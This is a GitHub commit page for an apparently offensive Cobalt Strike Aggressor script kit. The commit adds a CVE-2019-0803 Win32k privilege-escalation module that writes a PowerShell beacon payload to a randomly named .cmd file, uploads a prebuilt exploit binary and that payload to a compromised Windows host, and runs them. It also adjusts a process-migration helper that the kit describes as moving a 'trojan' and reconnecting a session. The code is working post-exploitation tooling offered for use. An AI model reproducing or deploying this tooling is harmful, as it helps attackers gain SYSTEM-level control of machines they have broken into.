Skip to content

Commit

Permalink
update lpe
Browse files Browse the repository at this point in the history
  • Loading branch information
DeEpinGh0st committed Aug 28, 2020
1 parent 2c0b814 commit 83e3254
Show file tree
Hide file tree
Showing 4 changed files with 23 additions and 2 deletions.
2 changes: 1 addition & 1 deletion Common.sl
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,6 @@ sub Getname{
$fname = $fname.rand(@array);
$total = $total - 1;
}
return $fname.".exe";
return $fname;
}

Binary file added exp/0803.exe
Binary file not shown.
21 changes: 21 additions & 0 deletions modules/lpe.cna
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,18 @@ sub SweetPotato {
beacon_link($bid, $null, $3['listener']);
}

sub cve_2019_0803{
btask($bid, "Task Beacon to run " . listener_describe($3['listener']) . " via cve-2019-0803");
local('$payload $fname');
$fname = Getname().".cmd";
$payload = powershell($3['listener'], false);
$handle = openf("> $+ $fname");
writeb($handle, $payload);
closef($handle);
bupload!($bid, script_resource("exp/0803.exe"));
bupload!($bid, $fname);
bshell!($bid,"0803.exe cmd $+ \"$fname\"");
}
#append menus


Expand Down Expand Up @@ -196,4 +208,13 @@ sub SweetPotato {
dbutton_action($Dialog, "Exploit");
dialog_show($Dialog);
}

item "CVE-2019-0803"{
$bid = $1['@'];
$Dialog = dialog("CVE-2019-0803",%(bid => $bid),&cve_2019_0803);
dialog_description($Dialog, "The elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'.");
drow_listener($Dialog, "listener", "Listener: ");
dbutton_action($Dialog, "Exploit");
dialog_show($Dialog);
}
}
2 changes: 1 addition & 1 deletion modules/post.cna
Original file line number Diff line number Diff line change
Expand Up @@ -150,7 +150,7 @@ sub Migrate{
item "Migrate"{
local('$process');
$bid = $1['@'];
$process = Getname();
$process = Getname().".exe";
$dir = Getinfo()[1];
$dialog = dialog("Migrate process",%(bid => $bid, dir => $dir, pname => $process, keep => "true"), &Migrate);
dialog_description($dialog, "Migrate your trojan to another directory and then reconnect a new session, only native sessions are supported and can only be migrated once");
Expand Down

0 comments on commit 83e3254

Please sign in to comment.